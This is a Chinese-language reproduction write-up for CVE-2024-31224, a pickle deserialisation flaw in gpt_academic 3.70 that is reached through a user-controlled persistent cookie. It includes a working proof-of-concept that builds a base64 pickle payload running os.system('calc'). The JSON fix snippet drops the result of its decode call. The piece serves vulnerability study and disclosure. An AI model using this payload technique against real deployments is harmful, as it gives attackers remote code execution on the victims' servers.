CVE-2024-31224复现
CVE-2024-31224
环境搭建
漏洞项目地址:https://github.com/binary-husky/gpt_academic/releases/tag/version3.70
安装依赖和源码
配置相关的config
运行环境
漏洞点分析
theme.py
这里的pickle.loads函数可加载的是形参C的string,也就是将他们unpickle了之后,可以加载我们恶意的opcode
main.py
这里的persistent_cookie_实际上就是我们的可控参数,我们可以通过通过给这个参数传参,实现参数可控然后就可以通过自己手写opcode,实现我们的pickle反序列化实现rce
界面操作
通过刚刚对源码的分析,我们可以发现需要触发我们的自定义菜单之后,然后在通过函数生成我们的persistent_cookie_这个值
我们点击那个确认保存按钮之后就可以发现我们cookie生成了,然后我们就直接开始写python生成我们的pickel脚本
python脚本
import base64
import pickle
def from_cookie_str(c):
# Decode the base64-encoded string and unpickle it into a dictionary
pickled_dict = base64.b64decode(c.encode("utf-8"))
return pickle.loads(pickled_dict)
opcode=b'''cos
system
(S'calc'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
from_cookie_str(opcode)
Y29zCnN5c3RlbQooUydjYWxjJwp0Ui4=
漏洞修复
我们可以使用其他的方式来解决,利用json来代替pickle,反序列化一个python字典,这样就可以代替pickle的作用
def from_cookie_str(c):
# Decode the base64-encoded string and unserialize it into a dictionary
serialized_dict = base64.b64decode(c.encode("utf-8"))
serialized_dict.decode("utf-8")
return json.loads(serialized_dict)